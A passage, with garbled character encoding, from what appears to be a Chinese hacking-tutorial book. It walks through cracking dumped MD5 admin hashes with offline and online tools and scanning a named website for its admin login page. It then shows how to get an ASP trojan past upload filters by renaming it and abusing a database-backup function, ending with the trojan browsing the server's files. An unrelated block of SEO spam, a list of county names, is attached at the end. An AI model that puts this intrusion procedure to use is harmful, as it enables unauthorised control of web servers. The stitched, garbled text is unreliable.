表示存在兩個(gè)用戶名記錄,其中之一用戶名為“admin”,密碼為“4c0de7ea4d0d467c”;另一用戶名為“l(fā)ager”,密碼為“7a57a5a743894a0e”。

3)MD5密碼的破解

在上面的猜解過程中,有時(shí)得到的用戶密碼是開始“7a57a5a743894a0e”之類的字符串,其實(shí)這類字符是密碼經(jīng)過MD5加密后的密文。攻擊者往往會(huì)對(duì)其進(jìn)行破解,還原出明文密碼后,直接登錄后臺(tái)管理頁(yè)面。

攻擊者可以使用專門的MD5密碼破解工具,來(lái)破解MD5密碼密文。破解工具很多,比如“MD5CrackV2.2”就是一個(gè)很簡(jiǎn)單易用的工具,它可以破解包括字母、數(shù)字、特殊字符的各種混合密碼。運(yùn)行程序后,在“密碼選項(xiàng)”中勾選“破解單個(gè)密文”,輸入剛才的管理員密碼密文,并設(shè)置要破解密碼位數(shù)及密碼中包含的字符類型,可設(shè)置為純數(shù)字或純字符破解,也可以設(shè)置成混合字符破解(圖93)。然后在右邊設(shè)置密碼長(zhǎng)度,可設(shè)置為6~10位,最后單擊【開始】按鈕即可開始破解密碼(圖94)。

攻擊者往往會(huì)使用一些黑客字典進(jìn)行破解。在軟件界面中,勾選“字典模式”,并選擇相應(yīng)的字典文件后,可以使用字典方式進(jìn)行破解,如果字典制作得好,破解的效率更高。

圖93 設(shè)置MD5破解選項(xiàng)

圖94 開始破解

破解MD5密碼的工作,絕對(duì)是一件非??简?yàn)攻擊者耐心的事情,如果運(yùn)氣不好的話很可能要破解幾天幾夜,還不一定能得到正確的密碼。但是如果管理員密碼設(shè)置得比較簡(jiǎn)單的話,則很容易被破解成功。

另外,攻擊者也可能會(huì)使用一些在線的MD5密碼破解工具。這些在線MD5密碼破解工具與本地暴力破解軟件不同,每一個(gè)在線破解工具,都有一個(gè)龐大的字典庫(kù),在其中存儲(chǔ)了大量密文對(duì)應(yīng)的密碼。也就是說(shuō),在線MD5密碼破解,采用的是字典破解方法,直接對(duì)用戶輸入的密文進(jìn)行對(duì)比,從字典中找到相應(yīng)的密碼明文。因此,其破解速度是非常快的!

例如,有一個(gè)叫做“xmd5”(http://www.xmd5.org/index_cn.htm)的在線破解工具。單擊頁(yè)面中的“解密”,直接輸入密文,如這里輸入上面猜解出來(lái)的密文“7a57a5a743894a0e”(圖95)。單擊【給我轉(zhuǎn)】按鈕,即可查看轉(zhuǎn)換結(jié)果。如果破解成功的話,頁(yè)面中會(huì)顯示成功信息:

            Result: admin   >>>Have a good time ! <<<

信息顯示,破解密碼原文為“admin”(圖96)!

圖95 輸入MD5密文

圖96 在線破解密碼成功

2.掃描后臺(tái)登錄頁(yè)面

獲得網(wǎng)站的管理員密碼后,攻擊者會(huì)繼續(xù)查找網(wǎng)站后臺(tái)管理登錄頁(yè)面,以用剛才破解的管理員用戶名和密碼登錄控制網(wǎng)站。攻擊者可以手工猜測(cè),也可能利用工具來(lái)完成后臺(tái)管理頁(yè)面的掃描,其速度更快。

1)WIS掃描后臺(tái)登錄頁(yè)面

使用Wis掃描網(wǎng)站后臺(tái)管理登錄頁(yè)面的方法很簡(jiǎn)單,在“OPEN TOOLS”程序界面的“WIS URL”中,輸入“漏洞網(wǎng)站 /A”,如這里輸入的是“http://www.3uo.cn//A”,單擊【Start】按鈕執(zhí)行后即可掃描到后臺(tái)登錄路徑(圖97)。

在掃描結(jié)果信息中,白色鏈接是猜解的鏈接,綠色高亮顯示的是檢測(cè)到的后臺(tái)頁(yè)面鏈接地址。例如這里掃描的信息為(見圖98):

            Access Page Final Result:
            ============================
            /login.asp (200 OK)
            /login.asp (200 OK)

則說(shuō)明存在鏈接地址為“http://www.3uo.cn/login.asp”的后臺(tái)管理頁(yè)面。

圖97 掃描后臺(tái)管理頁(yè)面

圖98 掃描到管理登錄頁(yè)面

2)NBSI掃描后臺(tái)登錄頁(yè)面

單擊NBSI工具欄上的【掃描及工具】按鈕,選擇下拉菜單中的【后臺(tái)管理路徑掃描】命令,然后在掃描地址中輸入網(wǎng)站SQL注入漏洞鏈接地址。默認(rèn)是從當(dāng)前目錄下開始掃描管理員登錄路徑,也可以勾選下方的“從根目錄開始掃描”,最后單擊右邊的【開始掃描】按鈕,即可開始掃描所有后臺(tái)管理路徑(圖99)。

掃描到可能存在的管理頁(yè)面將會(huì)顯示在下方的列表中,其中標(biāo)記為“202”的表示此頁(yè)面肯定存在。選擇頁(yè)面后,單擊最下方的【訪問本頁(yè)】按鈕,即可自動(dòng)調(diào)入IE瀏覽器打開該頁(yè)面。用瀏覽器打開掃描到的后臺(tái)管理登錄頁(yè)面,輸入猜解到的用戶名和密碼即可登錄了(圖100)。登錄成功頁(yè)面見圖101。

圖99 NBSI掃描后臺(tái)管理頁(yè)面

圖100 后臺(tái)登錄頁(yè)面

圖101 登錄成功

2.5.5 網(wǎng)站是怎樣被控制的

一般來(lái)說(shuō),攻擊者成功登錄網(wǎng)站的后臺(tái)管理頁(yè)面后,通常都能夠很容易上傳一個(gè)ASP木馬后門,進(jìn)而控制整個(gè)網(wǎng)站服務(wù)器。上傳ASP木馬后門的方法很多,主要是根據(jù)后臺(tái)管理系統(tǒng)所提供的功能而定的。例如,在許多后臺(tái)管理頁(yè)面中,一般可以上傳文件,如果上傳的文件類型支持“.asp”的話,攻擊者就可以直接上傳一個(gè)ASP木馬了。

1.?dāng)?shù)據(jù)庫(kù)備份上傳ASP木馬

例如,這里有某個(gè)后臺(tái)管理頁(yè)面,提供了圖片和文件上傳功能。單擊頁(yè)面中的【上傳文件/圖片】按鈕,瀏覽選擇本地硬盤上的一個(gè)ASP木馬“冰狐浪子木馬”的服務(wù)端程序文件“asp.asp”,單擊【提交】按鈕后確定認(rèn)上傳(圖102)。然而返回信息為“非法文件”,說(shuō)明不支持上傳ASP文件類型。

圖102 上傳ASP木馬失敗

怎么辦呢?常見的方法是通過數(shù)據(jù)庫(kù)備份來(lái)間接完成ASP木馬上傳的。首先在本地將冰狐浪子木馬“asp.asp”改名為“asp.bmp”,然后在剛才的頁(yè)面中選擇上傳目錄為“軟件圖片目錄”,指定上傳文件為“asp.bmp”(圖103),提交后文件上傳成功,并顯示文件上傳后的存放路徑及文件名(圖104)。

單擊頁(yè)面左側(cè)的“備份數(shù)據(jù)”按鈕,在右邊頁(yè)面中修改“當(dāng)前數(shù)據(jù)庫(kù)路徑”內(nèi)容。由于文件上傳路徑為“D:\web\down\softimg”,因此將數(shù)據(jù)庫(kù)路徑改為“../softimg/asp.bmp”;并輸入“備份數(shù)據(jù)庫(kù)目錄”為“../softimg”; “備份數(shù)據(jù)庫(kù)名稱”為“asp.asp”,單擊【開始備份】按鈕,完成即可將上傳的“asp.bmp”改名為“asp.asp”文件了(圖105)。

圖103 修改ASP木馬后綴上傳

圖104 上傳文件成功

圖105 數(shù)據(jù)庫(kù)備份

2.將網(wǎng)站服務(wù)器控制在手

攻擊者打開一個(gè)新的IE窗口,在地址欄中輸入ASP木馬“冰狐浪子木馬”的服務(wù)端程序文件鏈接地址,回車后如果頁(yè)面顯示為空白的話,則說(shuō)明冰狐木馬上傳成功了(圖106)。

圖106 訪問服務(wù)端顯示空白頁(yè)面

攻擊者打開冰狐浪子的客服務(wù)端“icyfox007.htm”,在控制頁(yè)面的“ASP URL”欄中輸入剛才的鏈接地址,然后在“Javascript”下選擇“目錄瀏覽”命令,在下方的“Input Path”中輸入“c:\”,然后單擊中間的【RUN】按鈕(圖107)。運(yùn)行后,將會(huì)打開一個(gè)新的IE窗口,中間顯示了網(wǎng)站服務(wù)器上C盤根目錄下的所有文件內(nèi)容(圖108)。

圖107 設(shè)置服務(wù)端地址

圖108 顯示網(wǎng)站服務(wù)器文件目錄信息

此外,還可以選擇不同的命令實(shí)現(xiàn)文件上傳、文件下載、寫入文件、運(yùn)行程序等功能,通過這些命令可以再上傳其他的木馬后門,進(jìn)一步控制網(wǎng)站服務(wù)器。

主站蜘蛛池模板: 黎平县| 甘德县| 米林县| 明溪县| 咸丰县| 邵东县| 荃湾区| 洛南县| 都江堰市| 舟曲县| 清苑县| 大厂| 甘孜| 剑川县| 上杭县| 澎湖县| 博白县| 鞍山市| 察隅县| 仙居县| 吕梁市| 西安市| 阿鲁科尔沁旗| 临清市| 永和县| 巴东县| 保山市| 阜宁县| 和田市| 富阳市| 鄂托克旗| 平南县| 浑源县| 天长市| 西和县| 东丰县| 郸城县| 儋州市| 南充市| 小金县| 盐津县|